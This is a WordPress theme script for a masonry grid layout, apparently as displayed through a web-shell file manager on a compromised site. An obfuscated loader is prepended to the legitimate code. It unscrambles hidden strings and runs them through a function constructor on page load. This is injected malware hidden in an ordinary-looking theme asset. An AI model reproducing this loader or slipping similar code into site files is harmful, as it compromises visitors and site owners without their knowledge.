AlkantarClanX12

Your IP : 3.136.19.203


Current Path : /home/thanudqk/www/wp-content/themes/thegem/js/
Upload File :
Current File : /home/thanudqk/www/wp-content/themes/thegem/js/isotope-masonry-custom.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/*!
 * Masonry layout mode
 * sub-classes Masonry
 * http://masonry.desandro.com
 */

( function( window, factory ) {
  'use strict';
  // universal module definition
  if ( typeof define == 'function' && define.amd ) {
    // AMD
    define( [
        '../layout-mode',
        'masonry/masonry'
      ],
      factory );
  } else if ( typeof exports == 'object' ) {
    // CommonJS
    module.exports = factory(
      require('../layout-mode'),
      require('masonry-layout')
    );
  } else {
    // browser global
    factory(
      window.Isotope.LayoutMode,
      window.Masonry
    );
  }

}( window, function factory( LayoutMode, Masonry ) {
'use strict';

var $ = jQuery;

// -------------------------- helpers -------------------------- //

// extend objects
function extend( a, b ) {
  for ( var prop in b ) {
    a[ prop ] = b[ prop ];
  }
  return a;
}

// -------------------------- masonryDefinition -------------------------- //

  // create an Outlayer layout class
  var MasonryMode = LayoutMode.create('masonry-custom');

  // save on to these methods
  var _getElementOffset = MasonryMode.prototype._getElementOffset;
  var layout = MasonryMode.prototype.layout;
  var _getMeasurement = MasonryMode.prototype._getMeasurement;

  // sub-class Masonry
  extend( MasonryMode.prototype, Masonry.prototype );

  // set back, as it was overwritten by Masonry
  MasonryMode.prototype._getElementOffset = _getElementOffset;
  MasonryMode.prototype.layout = layout;
  MasonryMode.prototype._getMeasurement = _getMeasurement;

  var measureColumns = MasonryMode.prototype.measureColumns;
  MasonryMode.prototype.measureColumns = function() {
    // set items, used if measuring first item
    this.items = this.isotope.filteredItems;
    measureColumns.call( this );
  };

  // HACK copy over isOriginLeft/Top options
  var _manageStamp = MasonryMode.prototype._manageStamp;
  MasonryMode.prototype._manageStamp = function() {
    this.options.isOriginLeft = this.isotope.options.isOriginLeft;
    this.options.isOriginTop = this.isotope.options.isOriginTop;
    _manageStamp.apply( this, arguments );
  };

  function getStyle(elem) {
      return window.getComputedStyle ? getComputedStyle(elem, "") : elem.currentStyle;
  }

  MasonryMode.prototype.fix_images_height = function() {
      var self = this;
      var container = this.options.isFitWidth ? this.element.parentNode : this.element;
      var $set = $(container);

      var max_heigth = 0;
      var padding = parseFloat($(self.isotope.options.itemSelector, $set).first().css('padding-top'));

      $(self.isotope.options.itemSelector + ' ' + self.isotope.options.itemImageWrapperSelector, $set).css('height', '');
      $(self.isotope.options.itemSelector + ' ' + self.isotope.options.itemImageWrapperSelector + ' img', $set).css('height', '');

      var caption = 0;
      if (self.isotope.options.gridType === 'portfolio') {
          if ($(self.isotope.options.itemSelector, $set).first().find('.wrap > .caption').is(':visible')) {
              caption = parseInt($(self.isotope.options.itemSelector, $set).first().find('.wrap > .caption').outerHeight());
          }
      }

      var fix_caption = false;
      var $items = $(self.isotope.options.itemSelector, $set).not('.double-item-squared, .double-item-vertical, .double-item-horizontal');

      if ($items.length == 0) {
          $items = $(self.isotope.options.itemSelector, $set).not('.double-item-squared, .double-item-vertical');
      }

      if ($items.length == 0) {
          return;
      }

      $items.each(function() {
          var height = parseFloat(getStyle($(self.isotope.options.itemImageWrapperSelector, this)[0]).height);
          var diff = height - parseInt(height);

          if (isNaN(height)) {
              return;
          }

          if ( diff < 0.5 ) {
              height = parseInt(height);
          }

          if ( (height - parseInt(height)) > 0.5 ) {
              height = parseInt(height + 0.5);
              fix_caption = true;
          }

          if (height > max_heigth) {
              max_heigth = height;
          }
      });

      if (caption > 0 && fix_caption) {
          caption -= 1;
      }

      if (caption > 0 && $set.closest('.portfolio').hasClass('title-on-page')) {
          caption += 1;
      }

      $(self.isotope.options.itemImageWrapperSelector + ' img', $set).css('height', max_heigth);
      //$(self.isotope.options.itemSelector + '.double-item-horizontal ' + self.isotope.options.itemImageWrapperSelector + ', ' + self.isotope.options.itemSelector + '.double-item-vertical ' + self.isotope.options.itemImageWrapperSelector, $set).css('height', '');
      $(self.isotope.options.itemSelector + '.double-item ' + self.isotope.options.itemImageWrapperSelector, $set).css('height', '');
      $(self.isotope.options.itemSelector + '.double-item ' + self.isotope.options.itemImageWrapperSelector + ' img', $set).css('height', '');

      if (!max_heigth) {
          return;
      }

      $(self.isotope.options.itemSelector + '.double-item-horizontal', $set).each(function() {
          var height = $(self.isotope.options.itemImageWrapperSelector, this).height();
          if (height > max_heigth) {
              $(self.isotope.options.itemImageWrapperSelector, this).height(max_heigth);
          } else if (height < max_heigth && $(window).width() > 767) {
              $(self.isotope.options.itemImageWrapperSelector + ' img', this).height(max_heigth).width('auto');
          }
      });

      var setWidth = $set.outerWidth();

      $(self.isotope.options.itemSelector + '.double-item-vertical' + ', ' + self.isotope.options.itemSelector + '.double-item-squared', $set).each(function() {
          var height = $(self.isotope.options.itemImageWrapperSelector, this).height();
          var calc_height = 2 * max_heigth + 2 * padding + caption;
          if (height > calc_height) {
              $(self.isotope.options.itemImageWrapperSelector, this).height(calc_height);
          } else if (height < calc_height && $(window).width() > 767) {
              if ($(this).outerWidth() < setWidth) {
                  $(self.isotope.options.itemImageWrapperSelector + ' img', this).height(calc_height);
              }
          }
      });
  }

  MasonryMode.prototype.fixItemsCaptionHeight = function(rowsData) {
      var self = this,
        container = this.options.isFitWidth ? this.element.parentNode : this.element,
        $set = $(container);

      $(this.isotope.options.itemSelector + ' .wrap > .caption', $set).css('height', '');

      for (var index = 1; index <= rowsData.count; index++) {
          var maxCaptionHeight = 0;

          if (rowsData[ index ] === undefined || rowsData[ index ].items.length == 1) {
              continue;
          }

          var elements = [];
          for (var itemIndex = 0; itemIndex < rowsData[ index ].items.length; itemIndex++) {
              if (rowsData[ index ].items[ itemIndex ].rowSpan != rowsData[ index ].items[ itemIndex ].rowIndex) {
                  continue;
              }

              var $caption = $('.wrap > .caption', rowsData[ index ].items[ itemIndex ].item.element);

              if (!$caption.length) {
                  continue;
              }

              var captionHeight = $caption.outerHeight();

              elements.push({
                  caption: $caption,
                  height: captionHeight
              });

              if (captionHeight > maxCaptionHeight) {
                  maxCaptionHeight = captionHeight;
              }
          }

          for (var elIndex = 0; elIndex < elements.length; elIndex++) {
              if (elements[ elIndex ].height < maxCaptionHeight) {
                  elements[ elIndex ].caption.outerHeight(maxCaptionHeight);
              }
          }
      }
  };

  MasonryMode.prototype.getRowCaptionHeight = function(rowsData, rowIndex) {
      if (rowsData[ rowIndex ] !== undefined) {
          for (var itemIndex = 0; itemIndex < rowsData[ rowIndex ].items.length; itemIndex++) {
              if (
                  !rowsData[ rowIndex ].items[ itemIndex ].item.element.classList.contains('format-quote') &&
                  ((rowsData[ rowIndex ].items[ itemIndex ].rowSpan == 1 && rowsData[ rowIndex ].items[ itemIndex ].colSpan == 1) ||
                  rowsData[ rowIndex ].items[ itemIndex ].rowSpan == rowsData[ rowIndex ].items[ itemIndex ].rowIndex)
              ) {
                  return $('.wrap > .caption', rowsData[ rowIndex ].items[ itemIndex ].item.element).outerHeight();
              }
          }
      }

      return null;
  };

  MasonryMode.prototype.getRowMinImageHeight = function(rowsData, rowIndex) {
      var self = this;
      var minHeight = -1;

      if (rowsData[ rowIndex ] !== undefined) {
          for (var itemIndex = 0; itemIndex < rowsData[ rowIndex ].items.length; itemIndex++) {
              if (
                  (rowsData[ rowIndex ].items[ itemIndex ].rowSpan == 1 && rowsData[ rowIndex ].items[ itemIndex ].colSpan == 1) /*||
                  rowsData[ rowIndex ].items[ itemIndex ].rowSpan == rowsData[ rowIndex ].items[ itemIndex ].rowIndex*/
              ) {
                  var $element = $(rowsData[ rowIndex ].items[ itemIndex ].item.element);
                  var height = Math.round($(self.isotope.options.itemImageWrapperSelector, $element).height());

                  if (minHeight == -1 || height < minHeight) {
                      minHeight = height;
                  }
              }
          }
      }

      return minHeight != -1 ? minHeight : null;
  };

  MasonryMode.prototype.getRowDoubleMinImageHeight = function(rowsData, rowIndex) {
      var self = this;
      var minHeight = -1;

      if (rowsData[ rowIndex ] !== undefined) {
          for (var itemIndex = 0; itemIndex < rowsData[ rowIndex ].items.length; itemIndex++) {
              if (
                  (rowsData[ rowIndex ].items[ itemIndex ].rowSpan == 1 && rowsData[ rowIndex ].items[ itemIndex ].colSpan == 1) ||
                  rowsData[ rowIndex ].items[ itemIndex ].rowSpan != rowsData[ rowIndex ].items[ itemIndex ].rowIndex
              ) {
                  continue;
              }

              var $element = $(rowsData[ rowIndex ].items[ itemIndex ].item.element);
              var height = $(self.isotope.options.itemImageWrapperSelector, $element).height();

              if (minHeight == -1 || height < minHeight) {
                  minHeight = height;
              }
          }
      }

      return minHeight != -1 ? minHeight : null;
  };

  MasonryMode.prototype.fixItemsImageHeight = function(rowsData) {
      var self = this,
        container = this.options.isFitWidth ? this.element.parentNode : this.element,
        $set = $(container),
        padding = parseFloat($(self.isotope.options.itemSelector, $set).first().css('padding-top'));

      $(self.isotope.options.itemSelector + ' ' + self.isotope.options.itemImageWrapperSelector, $set).css('height', '');
      $(self.isotope.options.itemSelector + ' ' + self.isotope.options.itemImageWrapperSelector + ' img', $set).css('height', '');

      var $items = $(self.isotope.options.itemSelector, $set).not('.double-item-squared, .double-item-vertical, .double-item-horizontal');

      if ($items.length == 0) {
          $items = $(self.isotope.options.itemSelector, $set).not('.double-item-squared, .double-item-vertical');
      }

      if ($items.length == 0) {
          return;
      }

      var maxNormalImageHeight = 0;
      $items.each(function() {
          var height = parseFloat(getStyle($(self.isotope.options.itemImageWrapperSelector, this)[0]).height);
          var diff = height - parseInt(height);

          if (isNaN(height)) {
              return;
          }

          if ( diff < 0.5 ) {
              height = parseInt(height);
          }

          if ( (height - parseInt(height)) > 0.5 ) {
              height = parseInt(height + 0.5);
          }

          if (height > maxNormalImageHeight) {
              maxNormalImageHeight = height;
          }
      });

      if (!maxNormalImageHeight) {
          return;
      }

      for (var index = 1; index <= rowsData.count; index++) {
          if (rowsData[ index ] === undefined) {
              continue;
          }

          for (var itemIndex = 0; itemIndex < rowsData[ index ].items.length; itemIndex++) {

              var $element = $(rowsData[ index ].items[ itemIndex ].item.element);
              var height = $(self.isotope.options.itemImageWrapperSelector, $element).height();

              if ((rowsData[ index ].items[ itemIndex ].rowSpan == 1 && rowsData[ index ].items[ itemIndex ].colSpan == 1) || rowsData[ index ].items[ itemIndex ].rowSpan != rowsData[ index ].items[ itemIndex ].rowIndex) {
                  if ($(window).width() > 767 && (rowsData[ index ].items[ itemIndex ].rowSpan == 1 && rowsData[ index ].items[ itemIndex ].colSpan == 1)) {
                      $(self.isotope.options.itemImageWrapperSelector + ' img', $element).height(maxNormalImageHeight);
                  }
                  continue;
              }

              if (rowsData[ index ].items[ itemIndex ].rowSpan > 1) {
                  if (rowsData[ index ].items.length == 1) {
                      continue;
                  }

                  var captionHeight = this.getRowCaptionHeight(rowsData, index - 1);

                  var prevRowImageHeight = this.getRowMinImageHeight(rowsData, index - 1) || maxNormalImageHeight;
                  var currentRowImageHeight = this.getRowMinImageHeight(rowsData, index) || maxNormalImageHeight;

                  var calcHeight = 0;
                  if (captionHeight !== null) {
                      calcHeight = prevRowImageHeight + currentRowImageHeight + 2 * padding + captionHeight;
                  } else {
                      var minImageHeight = this.getRowDoubleMinImageHeight(rowsData, index);

                      if (height > minImageHeight) {
                          $(self.isotope.options.itemImageWrapperSelector, $element).height(minImageHeight);
                      }

                      continue;
                  }

                  if (height > calcHeight) {
                      $(self.isotope.options.itemImageWrapperSelector, $element).height(calcHeight);
                  } else if (height < calcHeight) {
                      if (rowsData[ index ].items[ itemIndex ].item.size.width < self.containerWidth) {
                          $(self.isotope.options.itemImageWrapperSelector + ' img', $element).height(calcHeight);
                      }
                  }
              } else if (rowsData[ index ].items[ itemIndex ].colSpan > 1) {
                  if (height > maxNormalImageHeight) {
                      $(self.isotope.options.itemImageWrapperSelector, $element).height(maxNormalImageHeight);
                  } else if (height < maxNormalImageHeight && $(window).width() > 767) {
                      $(self.isotope.options.itemImageWrapperSelector + ' img', $element).height(maxNormalImageHeight).width('auto');
                  }
              }
          }
      }
  };

  MasonryMode.prototype.fixQuoteItemsHeight = function(rowsData) {
      var self = this,
      container = this.options.isFitWidth ? this.element.parentNode : this.element,
      $set = $(container);

      $(self.isotope.options.itemSelector + '.format-quote ' + self.isotope.options.itemImageWrapperSelector + ' img', $set).css('height', '');

      for (var index = 1; index <= rowsData.count; index++) {
          if (rowsData[ index ] === undefined) {
              continue;
          }

          for (var itemIndex = 0; itemIndex < rowsData[ index ].items.length; itemIndex++) {
              var item = rowsData[ index ].items[itemIndex];

              if (item.item.element.classList.contains('format-quote')) {
                  console.log(item);
              }
          }
      }
  };

  MasonryMode.prototype.buildRowsData = function() {
      var rowsData = {
          count: 0
      };

      for (var i = 0; i < this.items.length; i++) {
          var item = this.items[i];

          item.getSize();
          var remainder = item.size.outerWidth % this.columnWidth;
          var mathMethod = remainder && remainder < 1 ? 'round' : 'ceil';
          var colSpan = Math[ mathMethod ]( item.size.outerWidth / this.columnWidth );
          colSpan = Math.min( colSpan, this.cols );

          var startRow = -1;
          for (var j = 1; j <= rowsData.count; j++) {
              if (rowsData[ j ] !== undefined && rowsData[ j ].used + colSpan <= this.cols) {
                  startRow = j;
                  break;
              }
          }
          if (startRow == -1) {
              startRow = rowsData.count + 1;
          }

          var rowSpan =  1;
          if (item.element.classList.contains('double-item-squared') || item.element.classList.contains('double-item-vertical')) {
              rowSpan = 2;
          }

          for (var rowIndex = 0; rowIndex < rowSpan; rowIndex++) {
              var insertRow = startRow + rowIndex;

              if (rowsData[ insertRow ] === undefined) {
                  rowsData[ insertRow ] = {
                      items: [],
                      used: 0
                  };
                  rowsData.count += 1;
              }

              rowsData[ insertRow ].items.push({
                  item: item,
                  colSpan: colSpan,
                  rowSpan: rowSpan,
                  rowIndex: rowIndex + 1
              });
              rowsData[ insertRow ].used += colSpan;
          }
      }

      return rowsData;
  };

  MasonryMode.prototype.itemsHasCaption = function() {
      if (!this.items.length) {
          return false;
      }

      for (var i = 0; i < this.items.length; i++) {
          var item = this.items[i];

          if (!item.element.classList.contains('format-quote') && $('.wrap > .caption', item.element).is(':visible')) {
              return true;
          }
      }

      return false;
  };

  var _resetLayout = MasonryMode.prototype._resetLayout;
  MasonryMode.prototype._resetLayout = function() {
      _resetLayout.apply( this, arguments );

      if (this.isotope.options.gridType == 'news' || this.isotope.options.fixCaption) {
          var rowsData = this.buildRowsData();
      }

      if (this.isotope.options.fixCaption) {
          this.fixItemsCaptionHeight(rowsData);
      }

      if (this.isotope.options.fixHeightDoubleItems) {
          if (this.isotope.options.gridType == 'news' && this.itemsHasCaption()) {
              this.fixItemsImageHeight(rowsData);
              this.fixQuoteItemsHeight(rowsData);
          } else {
              this.fix_images_height();
          }
      }

      _resetLayout.apply( this, arguments );
  };

  return MasonryMode;

}));